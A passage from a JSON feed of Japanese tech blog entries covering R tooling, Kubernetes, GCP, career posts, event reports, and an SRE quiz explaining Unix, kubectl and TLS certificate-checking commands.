Yasumoto","authorId":"atusy"},{"title":"Osaka.Rを立ち上げて、リモート朝モクやってます","link":"https://blog.atusy.net/2020/04/21/osakar-asamoku/","contentSnippet":"Osaka.R始めました外出自粛の中でできること = リモート朝もく朝もくの感想個人的なOsaka.Rを立ち上げの背景Osaka.R始めました転職して大阪に引越したのを機にOsaka.Rを始めることにしました。奇しくもOsaka.Rを始めたいと同時期に思っていたくろきちさん、わさびさんと共に立ち上げることにしました。","isoDate":"2020-04-21T00:00:00.000Z","dateMiliSeconds":1587427200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"3月末日で退職してました","link":"https://blog.masasuzu.net/entry/2020/04/12/134300","contentSnippet":"株式会社モバイルファクトリーを3/31で退職してました。2010年6月入社なので9年10ヶ月になりますね。今は新しい会社のSREチームで働いています。前半数年間はケータイ向けのサイト(いわゆる着メロサイト)やソーシャルアプリの開発運用をしていました。後半数年間は社内全体の開発基盤・運用基盤の整備をしていました。いわゆるインフラよりのお仕事ですね。入社当時Webアプリケーション開発をまったく分かってなかったところからなんとか人並みに運用開発できる力をこの会社で身につけることが出来たと思います。今なんとかwebエンジニアをやれてるのはこの会社のおかげと言っても過言では無いと思っています。入社当時SQLをまともに書けなかったくらいのレベルだったのでよく採用されたなと。。。お仕事的には回りのレベルも高いし、自身の仕事のやり方も裁量を与えられていたし、社内環境も、待遇も悪くなかった。むしろ良かったくらいでした。ただ、長年勤めていく内に悪い意味での慣れが出てきて、自分自身停滞感を感じることが出てきました。ここ数年が特に感じることが多く、停滞感から来る焦りを日々感じていました。どうにか停滞感を解消するために副業として他社のお仕事を請け負ったりしていましたが、どうにも解消ができずにいました。そんな折に現職のSREチームの話をいただきました。実際に面談、面接を受けて、課題や環境の話を聞くにつれて、ここでなら一歩進めるのではないかという感触を得ました。もちろん焦燥感、停滞感はあれど、居心地が良いと感じてた今までの環境を変えることにはかなりの葛藤がありました。いろんな決め手はあったのですが、新しい場所の方が一番の下手*1でいれそう、なにより事業的にも業務的にも仲間的にもワクワクできそうというあたりが決定打になりました。入社して2週間しかも、初日以外ずっと在宅勤務なのでまだ様子が摑めてないですが、早くキャッチアップしてバリバリ成果を出していきたい所存です。これからもよろしくお願いします。例のもの置いておきます。気が向いたらでよいです。https://www.amazon.jp/hz/wishlist/ls/3S4C1LCDWKCTM?ref_=wl_share*1:情熱プログラマ参照","isoDate":"2020-04-12T04:43:00.000Z","dateMiliSeconds":1586666580000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"IAPに対応しているGAEにアクセスする","link":"https://qiita.com/SatohJohn/items/d21d8487f55ed911e687","contentSnippet":"概要GCPにあるGAEに対してアクセスする場合、認証のためにIAPをつけることが多いハズその際にrequest clientに対して認証情報を付ける方法についてまとめるサービスアカウントを作るサービスアカウントは以下の通りに作成でき…","isoDate":"2020-03-29T12:12:15.000Z","dateMiliSeconds":1585483935000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Vuetify.jsのリンクの違いについて","link":"https://qiita.com/SatohJohn/items/881d9a6fceceda1c1ce7","contentSnippet":"概要vuetifyのbuttonやlist-itemなどに対してnuxt linkをつける際にリンクの付け方は2つあるhreftoどう使い分けるかというと、 https://qiita.co…","isoDate":"2020-03-22T11:06:18.000Z","dateMiliSeconds":1584875178000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Pandoc lua filter手習い: detailクラス付きのコードブロックを折り畳む","link":"https://blog.atusy.net/2020/03/07/pandoc-lua-detailed-codeblock/","contentSnippet":"実装関数を書くコードブロックをそのまま返すコードブロックをタグで囲むdetailsクラスを持つコードブロックだけ
タグで囲う。detailsクラスを持つコードブロックだけ
タグで囲い、summary要素が指定されていれば、タグに記述するR Markdownで使ってみるRmdファイルデモ: 折り畳み時デモ: 展開時R Markdownのhtml_documentでソースコードだけじゃなくて結果も折り畳みたいようとの声があった。レッスン時にコードの実行結果を受講者に予想させてから見せたい場合を想定しているようだ。そこでknitr::knit_hooksを使う忍術を紹介した。https://github.com/rstudio/rmarkdown/issues/1453#issuecomment-595797200","isoDate":"2020-03-07T00:00:00.000Z","dateMiliSeconds":1583539200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"revealjs_presentationでコードブロックに行番号を付与する","link":"https://blog.atusy.net/2020/03/02/revealjs-linenumbers/","contentSnippet":"code.sourceCode > span { display: inline-block; line-height: 1.25; }code.sourceCode > span { color: inherit; text-decoration: inherit; }code.sourceCode > span:empty { height: 1.2em; }.sourceCode { overflow: visible; }code.sourceCode { white-space: pre; position: relative; }div.sourceCode { margin: 1em 0; }pre.sourceCode { margin: 0; }@media screen {div.sourceCode { overflow: auto; }}@media print {code.sourceCode { white-space: pre-wrap; }code.sourceCode > span { text-indent: -5em; padding-left: 5em; }}pre.numberSource code { counter-reset: source-line 0; }pre.numberSource code > span { position: relative; left: -4em; counter-increment: source-line; }pre.numberSource code > span > a:first-child::before { content: counter(source-line); position: relative; left: -1em; text-align: right; vertical-align: baseline; border: none; display: inline-block; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; padding: 0 4px; width: 4em; color: #aaaaaa; }pre.numberSource { margin-left: 3em; border-left: 1px solid #aaaaaa; padding-left: 4px; }div.sourceCode { }@media screen {code.sourceCode > span > a:first-child::before { text-decoration: underline; }}code span.al { color: #ff0000; font-weight: bold; } /* Alert */code span.an { color: #60a0b0; font-weight: bold; font-style: italic; } /* Annotation */code span.at { color: #7d9029; } /* Attribute */code span.bn { color: #40a070; } /* BaseN */code span.bu { } /* BuiltIn */code span.cf { color: #007020; font-weight: bold; } /* ControlFlow */code span.ch { color: #4070a0; } /* Char */code span.cn { color: #880000; } /* Constant */code span.co { color: #60a0b0; font-style: italic; } /* Comment */code span.cv { color: #60a0b0; font-weight: bold; font-style: italic; } /* CommentVar */code span.do { color: #ba2121; font-style: italic; } /* Documentation */code span.dt { color: #902000; } /* DataType */code span.dv { color: #40a070; } /* DecVal */code span.er { color: #ff0000; font-weight: bold; } /* Error */code span.ex { } /* Extension */code span.fl { color: #40a070; } /* Float */code span.fu { color: #06287e; } /* Function */code span.im { } /* Import */code span.in { color: #60a0b0; font-weight: bold; font-style: italic; } /* Information */code span.kw { color: #007020; font-weight: bold; } /* Keyword */code span.op { color: #666666; } /* Operator */code span.ot { color: #007020; } /* Other */code span.pp { color: #bc7a00; } /* Preprocessor */code span.sc { color: #4070a0; } /* SpecialChar */code span.ss { color: #bb6688; } /* SpecialString */code span.st { color: #4070a0; } /* String */code span.va { color: #19177c; } /* Variable */code span.vs { color: #4070a0; } /* VerbatimString */code span.wa { color: #60a0b0; font-weight: bold; font-style: italic; } /* Warning */R Markdownでは、コードブロックにnumberLinesクラスを与えると、Pandocが行番号を付与してくれます。例えば以下のコードブロックをblogdownでレンダリングすると、ちゃんと行番号が付与されます1。","isoDate":"2020-03-02T00:00:00.000Z","dateMiliSeconds":1583107200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ノートブックの最適化はfor文の最適化に通ず","link":"https://blog.atusy.net/2020/02/27/simple-notebook/","contentSnippet":"ループせずに済む処理はforの外に出せループ前要旨パッケージ読み込み関数定義データ読み込み・整形ループ内小規模なデータ整形分析・可視化解釈ループ後データ分析は大きく読み込み・整形分析可視化解釈の4つの要素で成り立つと思う。できればこの順に1サイクルして終わりたいが、現実的には何サイクルも回す。そしてメンテナンス不能で読む気も失せる巨大ノートブックができあがることは、想像に難くない。","isoDate":"2020-02-27T00:00:00.000Z","dateMiliSeconds":1582761600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Merpay SRE Quiz @SRE Next 2020 解答・解説","link":"https://toshikish.hateblo.jp/entry/2020/02/11/024400","contentSnippet":"これは何?2020年1月25日に行われた SRE NEXT 2020 で,メルペイさんがブースで出していた SRE に関するクイズです。正答数で景品がもらえたようです。3問以上:メルペイキーキャップ4問以上:メルペイキーキャップ+メルペイ SRE が推薦する本今日は SRE NEXT に来ています!ブース出してます!メルペイSREが考えたクイズに挑戦してみてください!#srenext pic.twitter.com/sQmndWucrP— Mercari_Dev (@mercaridevjp) January 25, 2020 メルペイ SRE が推薦する本って?ツイートのスレッドをたどっていくと,ラインナップは以下のようでした。『入門 監視』『詳解 シェルスクリプト』『Kubernetes 完全ガイド』『Programming Kubernetes』『パケットキャプチャの教科書』『プロダクションレディ マイクロサービス』『Linux カーネル Hacks』『エンジニアリング組織論への招待』『エンジニアのためのマネジメントキャリアパス』名著ばかりですね。第1問 SLO とはなんの略でしょうか?選択肢Service Level Observability (サービスレベル可観測性)Service Level Objective (サービスレベル目標)System Level Observability (システムレベル可観測性)System Level Objective (システムレベル目標)正解Service Level Objective (サービスレベル目標)解説SRE 本の Chapter 4 - Service Level Objectives に書かれている定義は以下のとおりです。An SLO is a service level objective: a target value or range of values for a service level that is measured by an SLI.SLI(サービスレベル指標)の目標値または値の範囲を SLO(サービスレベル目標)といいます。第2問 ユーザーが所属しているユーザーグループを知るためのコマンドはどれか?選択肢idwhoamiwholsgroup正解id解説明示されていないですが,UNIX 系 OS のコマンドを前提としていますね。id:ユーザー情報を表示するコマンドで,ユーザー情報(ID,名前)とグループ情報(ID,名前)が表示されます。実行例:foobar@darkstar:~$ iduid=1016(foobar) gid=100(users) groups=100(users)whoami:実行ユーザーの ID を表示するコマンドです。id -un と等価です。who:実行ユーザーの情報(名前,プロセス,起動時刻など)を表示するコマンドです。lsgroup:グループの属性を表示する AIX(IBM の UNIX 系 OS)のコマンドです。デフォルトパラメータがないので,グループを指定するか ALL を指定する必要があります。これらのうち,ユーザーの所属グループが表示されるのは id コマンドです。第3問 $ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\" の出力結果はどれか?選択肢33 2 1error1正解3 2 1解説bash -c string:string が bash で実行されます。echo message:message と改行を出力します。パイプ |:コマンドの出力を次のコマンドの標準入力に渡します。ここでは,3 2 1\\\\n を awk コマンドの標準入力に渡します。awk \'パターン {アクション}\':AWK のコマンドで,入力に対してパターンにマッチしたものにアクションを適用します。パターンを省略(空パターン)すると,全パターンにマッチする扱いになります。$ bash -c \\"... $1 ...\\":\\"\\" で囲まれた$ は展開されます。1 という変数名は定義されていないので,$1 が展開されると空文字になります。AWK に伝わるスクリプトは \'{print }\' になり,全パターンに対してそのまま出力する挙動になります。したがって,$ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\"3 2 1となります。ちなみに,1番目のフィールドを表示させたい場合は,$ が展開されないように \\\\$ とエスケープします。$ bash -c \\"echo 3 2 1 | awk \'{print \\\\$1}\'\\"3bash -c \\"...\\" を噛まさなければ,シングルクォート \'\' で囲まれた $ が展開されず,意図通りの挙動になります。$ echo 3 2 1 | awk \'{print $1}\'3エスケープ・展開絡みの落とし穴を題材にした問題ですね。調べてみたら複数事例見つかり,ハマりポイントのようです。stackoverflow.comteratail.com第4問 DNS が使用するポート番号は何番ですか?選択肢225380443正解53解説すべて well-known ポート番号です。22:SSH53:DNS80:HTTP443:HTTPS第5問 Kubernetes の Deployment の Event を見られるコマンドは,以下のうちどれか?選択肢kubectl describe kubectl logs -l kubectl get deployment -o yamlkubectl logs 正解kubectl describe 解説kubectl describe:リソースの詳細な情報を出力します。Events: セクションにイベント情報が表示されます。kubectl get events コマンドで全リソースのイベントを表示することができます。kubectl logs:コンテナのログを出力します。--selector (-l) オプションで結果にフィルタをかけることができます。kubectl get:リソースの基本的な情報を取得します。kubectl get deployment -o yaml とすると,Deployment の定義を YAML 形式で出力します。kubectl describe コマンドの引数で Deployment の名称を指定すると,その Deployment に関連したイベントを取得できるので,kubectl describe が正解です。第6問 Web サイトに設定している TLS 証明書の有効期限を確認できるコマンドは以下のうちどれか?選択肢openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep Aftercurl --tlsv1.2 -l https://www.merpay.com | grep Expirewget --no-check-certificate https://www.merpay.com | grep Certnmap --script ssl-enum-ciphers -p 443 www.merpay.com | grep Date正解openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep After解説openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text:OpenSSL の SSL/TLS クライアントで指定されたホストに接続して証明書を取得し,x509 サブコマンドで証明書情報を取り出します。Not After : で始まる行に有効期限が書かれるので,grep で取り出せます。-text オプションの代わりに -dates オプションを指定すると,証明書の開始日と失効日だけが出力されます。curl --tlsv1.2 -l https://www.merpay.com:Response Body(ここでは HTML)が出力されます。TLS 証明書の情報は含まれません。wget --no-check-certificate https://www.merpay.com:指定した URL の内容を証明書の検証をせずにダウンロードしてファイル(ここでは index.html)に保存します。標準出力にはリクエストの実行ログが吐かれますが,TLS 証明書の情報は含まれません。nmap --script ssl-enum-ciphers -p 443 www.merpay.com:Nmap を用い,指定されたホストに対して SSL/TLS の暗号・圧縮方式を複数試行した結果を出力します。証明書の有効期限の情報は含まれません。実行例:PORT STATE SERVICE REASON443/tcp open https syn-ack| ssl-enum-ciphers:| TLSv1.0:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity| Weak certificate signature: SHA1| TLSv1.2:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity|_ least strength: CcURL,Nmap で実現する例は以下のとおりです。curl --tlsv1.2 -v https://www.merpay.com 2>&1 | grep expirenmap --script ssl-cert -p 443 www.merpay.com | grep afterserverfault.com感想骨のある問題が多いです。1,4を確実に正解して,その他をどれだけ正解できるかといった感じでしょうか。知らなければ調べればいい話ですが,業務でよく使うコマンドなら覚えておいて手足のように使いこなせるほうが望ましいでしょう。","isoDate":"2020-02-10T17:44:00.000Z","dateMiliSeconds":1581356640000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2019年のふりかえり、2020年の目標","link":"https://kyohmizu.hatenablog.com/entry/2020/02/01/040351","contentSnippet":"すでに年が明けて1ヶ月経ちましたが、2019年の活動を振り返ろうと思います。Kubernetes、Cloud Native技術を中心に学習を進めました。勉強会、カンファレンス1月Cloud Native Meetup Tokyo #6 KubeCon + CNCon RecapKubernetes Meetup Tokyo #15 - KubeCon 2018 RecapRancher/Kubernetes勉強会 Kubernetes管理ツールの活用法OWASP Connect in Tokyo #2今回は特別編!Cloud Nativeなアプリ開発から学んだことを全部シェア - cndjp#92月Yahoo! JAPAN MEETUP #31 インフラ技術カンファレンスGo 1.12 Release Party in Tokyo w/ Fukuoka&Umedassmjp 2019/02Docker Meetup Tokyo #28第三回ボトムアップドメイン駆動設計サイバーセキュリティシンポジウム3月k8s source code reading #3Cloud Native Meetup Tokyo #7 @Abema Towers4月Cloud Native Tokyo #01Serverlessについて思いを馳せる一夜 - cndjp第11回勉強会ssmjp 2019/04Rancher k3s もくもく勉強会 #035月レガシーをぶっつぶせ。現場でDDD!ssmjp 2019/05IIJ Technical NIGHT vol.7SRE Lounge #9Docker Meetup Tokyo #30 (DockerCon・KubeConEU報告会)Yahoo! JAPAN MEETUP #32 インフラ技術/Kubernetes6月NoOps Meetup Tokyo #6Kubernetes Meetup Tokyo #20 - KubeCon RecapGCPUG Tokyo Next Extended 2019 Infra DayInteract 20197月恐るることなかれ! Cloud NativeリレーショナルDB特集!! - cndjp第12回第三十五回 Azureもくもく会 @ 品川CloudNative Days Tokyo Meetup w/ Melanie CebulaKubernetes Meetup Tokyo #21 - Cloud Native CI/CDSekkeiKaigiCloud Native Days Tokyo 2019 → スタッフとして参加8月SRE Lounge #10CloudNative Days Tokyo 2019振り返りNightGo 1.13 Release Party in TokyoKubernetes Meetup Tokyo #229月Docker Meetup Tokyo #32Japan Azure User Group 9周年イベントXP祭り2019golang.tokyo #26Cloud Native Meetup Tokyo #10Kubernetes Meetup Tokyo #23 - Operator Deep Dive10月Terraform meetup tokyo#2Kubernetes Meetup Tokyo #24SRE Lounge #1111月さくらの夕べDocker/Kubernetesナイト #2Go Release 10 Year Anniversary Party in Tokyoゴリラ.vim #10 非公式VimConf後夜祭 girls.vimと合同開催技術書典8 はじめてのサークル参加meetupMicrosoft Open Tech Night #1 - インフラ編+Ignite速報俺たちの最適なCloud Nativeを求めて…。本気のこと始め! - cndjp第13回12月Japan Rook Meetup #1Cloud Native Meetup Tokyo #11 KubeCon RecapGDG DevFest Tokyo 2019Microsoft Open Tech Night #3 - クラウドネイティブ編登壇資料speakerdeck.comspeakerdeck.comspeakerdeck.com書籍商業誌Kubernetes完全ガイドしくみがわかるKubernetesみんなのDocker/KubernetesKubernetes実践入門情報処理安全確保支援士 教科書みんなのGo言語インフラエンジニアの教科書Linuxのしくみ分散システムデザインパターン入門監視Linux教科書 LPICレベル1Docker実践ガイドKubernetes実践ガイド同人誌ふりかえり読本 場作り編ふりかえり読本 学び編ふりかえり読本 実践編理論と事例でわかる自己肯定感理論と事例でわかるモチベーション現場の「ズレ」を解消するコミュニケーションメソッド 第2版会話の引き出しを増やす 1on1カード と 使いこなしブックPrometheusでKubernetesを監視する本Kubernetes-Native Development & Deployment実践入門 Kubernetes カスタムコントローラへの道Knativeの歩き方資格情報処理安全確保支援士LPIC 101、102ツール・技術DockerKubernetesHelmPrometheusGrafanaLokiArgo CDConcourseTerraformTelepresencecert-managerWindowsコンテナMicrosoft AzureGo言語Vue.js社内での活動定期勉強会を主催ふりかえりを実施、ファシリテーター役Dockerワークショップを開催2020年の目標2020年もCloud Nativeを突き進む予定です。マストCKA、CKADを取得するコミュニティに貢献するOSSにコントリビュートするGo言語でのプログラミングに慣れる英語力を高めるできれば業務としてKubernetesを扱える環境に身を置く(遠回しな表現)技術書を書く","isoDate":"2020-01-31T19:03:51.000Z","dateMiliSeconds":1580497431000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"docker (rocker) でheadless Chromeを動かす","link":"https://blog.atusy.net/2020/01/14/chromote-on-rocker/","contentSnippet":"RでWebページのスクリーンショットを撮るにはheadless Chromeが今風?従来、RでWebページのスクリーンショットを撮るにはwebshotパッケージが活躍してきました。しかし、webshotパッケージの内部で動くPhantomJSは開発が停止して久しいです。そんな中、webshotパッケージの開発者であるwchは、headless Chromeを使ってスクリーンショットを撮影するwebshot2パッケージをRStudio製OSSとして開発開始しました。","isoDate":"2020-01-14T00:00:00.000Z","dateMiliSeconds":1578960000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テストで使いたくて,DinD (Docker in Docker) でk8sの環境を整えた","link":"https://qiita.com/tozastation/items/eafde1a75c35bb9d1a68","contentSnippet":"TL;DRこちらのDockerfileを見納めくださいkindとアプリケーションのコンテナを分けても良かったのですが,kubeconfigの受け渡しが面倒だったので妥協しましたhttps://…","isoDate":"2019-12-30T14:30:36.000Z","dateMiliSeconds":1577716236000,"authorName":"tozastation","authorId":"tozastation"},{"title":"0からはじめる Windows on Kubernetes","link":"https://qiita.com/kyohmizu/items/dffdd49123b1e47c3ac4","contentSnippet":"はじめにKubernetes の Windows 対応は v.1.14 でGAとなりました。本記事では、既存の Kubernetes クラスタに0から Windows ワーカーノードを追加する方…","isoDate":"2019-12-22T18:19:52.000Z","dateMiliSeconds":1577038792000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"importasパッケージでPython風にパッケージを使おう","link":"https://blog.atusy.net/2019/12/21/importas/","contentSnippet":"Rアドベントカレンダー、12/21の記事です。Rmd関連のつもりでしたが、時間がないので、最近作ったimportasパッケージのネタに走ることにしました。importasパッケージでは、Pythonにおけるimport numpy as npみたいなことが、Rでできるようになります。Pythonではimportしたライブラリにドットを繋ぐ形で、関数の呼び出しを行います(例えばnp.mean)。同様に、importasパッケージではggplot2 %as% ggなどとパッケージ名を省略し、$演算子を用いて関数を呼び出します(例えばgg$ggplot)。","isoDate":"2019-12-21T00:00:00.000Z","dateMiliSeconds":1576886400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Knative Serving in Production","link":"https://qiita.com/toVersus/items/1317a31fead9b836a68d","contentSnippet":"概要Knative Serving は、ステートレスなアプリケーションを対象に、HTTP リクエスト駆動で自動スケールする仕組みを提供します。Kubernetes (K8s) と Ingress (Isti…","isoDate":"2019-12-18T22:00:21.000Z","dateMiliSeconds":1576706421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"キャリアアップ支援制度を利用してArchitecting on AWSを受講しましたというアドベントカレンダー書いてました","link":"https://blog.masasuzu.net/entry/2019/12/15/004259","contentSnippet":"tech.mobilefactory.jpだいぶ前に受けたArchitecting on AWSの聴講記録です。","isoDate":"2019-12-14T15:42:59.000Z","dateMiliSeconds":1576338179000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GDG DevFest Tokyo 2019に行ってきた","link":"https://blog.masasuzu.net/entry/2019/12/14/000000","contentSnippet":"tokyo.gdgjapan.org珍しく、何も予定が入ってない土曜日だったので、行ってきました。最近GCPを触る機運が出てきたのでちょうどいいタイミングでした。以下メモGCP 101 | 坂田 純 | GDG DevFest Tokyo 2019主にCloudRunの話。HTTPをlistenするコンテナを起動するサービス。使った分だけ課金対象となる。リクエスト数次第で自動的にスケールする。とお手軽にできそうな印象。インターフェースがHTTPなので基本的にはパブリックでアクセス出来てしまうが、--no-allow-unauthticatedオプションをつけてデプロイするとで限られた人だけ実行できるようになります。これでバッチ的なことができそう?マイクロサービスの開発とテストファースト/テスト駆動開発 | 柴田 芳樹 | GDG DevFest Tokyo 2019ちょいちょいブログとかは見てましたが、話を聞くのは初めてでした。還暦を迎えてもコードをバリバリ書いてるのは素直に尊敬します。メルペイのマイクロサービスのテストにも興味深かったですが、組み込みでのテストの話も興味深く聴かせてもらいました。ツールや環境の充実度の差はあれど、組み込みでもウェブでもやるべきことは同じなのだなと思いました。CloudNative 時代における GKE/Kubernetes ではじめる開発 | 青山 真也 | GDG DevFest Tokyo 2019k8sの紹介的な話。k8s好きになりました。話がすごいうまくて、めんどくさそうだなあと思ってたkubernetesの印象が変わりました。その他:D社のブースを覗いたらMOVの構成図が展示されていて、IoT関連だけAWSを使っていてそれ以外はGCPを使ってるのが興味深かった。IoT関連のものも別で実装して、AWSからは引き上げるようなことを言ってて、なるほどなあとなりました。基本的にAWSで構成されたインフラばかり見てたのでなかなか新鮮でした。","isoDate":"2019-12-13T15:00:00.000Z","dateMiliSeconds":1576249200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"【イベント参加レポート】Microsoft Ignite The Tour Tokyo","link":"https://kyohmizu.hatenablog.com/entry/2019/12/10/012041","contentSnippet":"2019/12/5(木)、6(金)に開催された Microsoft の Tech イベントに参加しました。www.microsoft.com概要アメリカで行われた Ignite のセッションを再演登壇者は他人の資料で発表 (翻訳以上の改変はできないと聞きました)新情報の発表等はされず、通常セッションとハンズオンのみMicrosoft エキスパートとの交流の場外国人のスタッフを多数配置基本的には英語でやり取りするらしい (私は話しませんでした)感想外国人が多く、グローバルな印象を受けました。会場はいつものホテルでしたが、やはりセッションの入れ替え時は非常に混雑します。ブースのエリアはスペースを広くとってあり、割と閑散としていた気がします (セッション中は特に)。技術的には初級者向けの内容が多かったと思います。セッションよりは、どちらかといえばコミュニケーションを重視したイベントのようでした。MSの方やブースの担当者と話すことができ、有意義な時間を過ごせました。参加して得るものはありました。セッション参加セッションのまとめとメモ。THR30031 - Azure とコマンドライン-オプション、ヒント、テクニック難易度:初級メモエクスプローラーでcmdをパスに入力(powershell、wslも)Windows Console → Windows TerminalTerminalはStoreで入手可能Azure CLIやVSCode RemoteはサラッとAPPS30 - コンテナーを利用したアプリケーションの最新化資料:https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps30難易度:初級要点コンテナ、Dockerの基礎的な説明コンテナランタイムやマルチステージビルド等は、軽く話に出る程度コンテナに関しては特に知らない話はなかったACRやACIの概要、使い方の軽い説明サービス移行のデモではコンテナ化してApp Service、CosmosDB、SQL Databaseを使用メモデータセンターのアプリをクラウドにLift&Shift仮想マシンはいいけど無駄が多いコンテナを使ったモダナイゼーションアプリの境界を明確にする旧バージョンの残りファイルがなくなるオーバーヘッドなしでリソース分離繰り返し可能なビルド、環境構築コンテナを使う理由あらゆる環境で同じように動作するベロシティの向上コンテナの仕組み高度に構成されたプロセスcgroupsnamespaceベースイメージからの差分をgzip化したものコンテナランタイムの軽い説明Docker以外にも対応、containerd、runCDockerfileイメージのビルド方法を説明するテキストファイルバッチスクリプトみたいなものビルドリポジトリACRACIサーバーレスのコンテナ実行環境ハイパーバイザーレベルの分離デモサービス移行の話APPS40 - インフラストラクチャと Azure Kubernetes Service を統合する資料:https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps40難易度:中級要点AKSの作成手順の説明AKSとAzureの連携サービスについて知識を整理できたオートスケールの話は理解が浅かったので参考になったAKSを使う最大のメリットはAzureADとの連携ネットワークとセキュリティの話は非常に参考になったネットワークポリシーやAZメモ基本的な使い方ではなく、発展的な内容Tailwind Tradaersのデモ経営、ビジネス課題に対応復元力セキュリティ柔軟性スケールKubernetesを選択する理由抽象化のための標準化されたAPI自己修復スケーラビリティk8sアーキテクチャAKSはマスターノードが無料で提供されるネットワークに2種類指定できるデフォルトはkubenetAzure CNI 仮想ネットワークを使用。大規模ネットワークに対応。きちんと設計する必要があるACIを仮想ノードとして使用AZAKSの作成リソースグループ仮想ネットワークサブネットサービスプリンシパル(k8sから他のリソースを作成)クラスタ本番クラスタを作成するにはオプションを多数指定する必要がある作成時にしか設定できないオプションがあるインストール時にCNI、AZの設定をする仮想ノードの有効化ACIをAKSから使えるようにする必要があるRabbitMQ is 何?HPAメトリクスサーバーにPodから情報が送られる閾値を超えたらスケールクラスタオートスケーラーノードのスケール仮想ノードLinux、Windows、GPUに対応nodeselectorで指定仮想ノードによるスケールのデモネットワークとセキュリティACRでコンテナの脆弱性をチェックAKSを使う最大のメリットはAzureADとの連携!Azure Key VaultPod間の通信Pod IdentityNMI Server(Daemonset)MICAzure Identity BindingネットワークポリシーPod間トラフィックの保護Azure Network PolicyAzure CNIを使ったPodブリッジレベルCalico Network PolicyカーネルレベルAZベータ版データセンター障害の回復性ゾーンは3つまで使用可能ゾーンの数に合わせてレプリカ数を設定THR10007 - ITと技術者の将来について語り合うエモい話要点ディスカッション形式コミュニティ参加やアウトプットを重視しているどんどんチャレンジしてスキルをつけていくことが大事メモ今後あるいは10年後どうなる?これからチャレンジしたいことは?MRフリーランス自分の営業をこれからも続けていく自分が何が得意で、何が苦手かアピールブルーオーシャンを探したいコミュニティのエンパワーメント出てこない人にどうやって技術を好きになってもらうか社内コミュニティを作ってもらうお勧めしたいことは?技術を楽しんで、周りに広めていく仲間ができてコミュニティができる人を変えるのは難しい、好きなことを広めることならできる楽しんでる雰囲気を出していると向こうから来てくれる自分の強みを知って、それを発信していく業務で触ってなくてもコミュニティで発表いていたやりたいこと、好きなことを見つけて、人が見える場所に出していく外のコミュニティに参加してみる会社にいるだけではスキルはプロジェクト依存コミュニティの熱量がすごいアウトプットすると強い人がインプットをくれるとりあえず踏み出してみる楽しんだもの勝ちやりたいことを素直にやってみるUNC10013 - Vue.js 3 に向けた 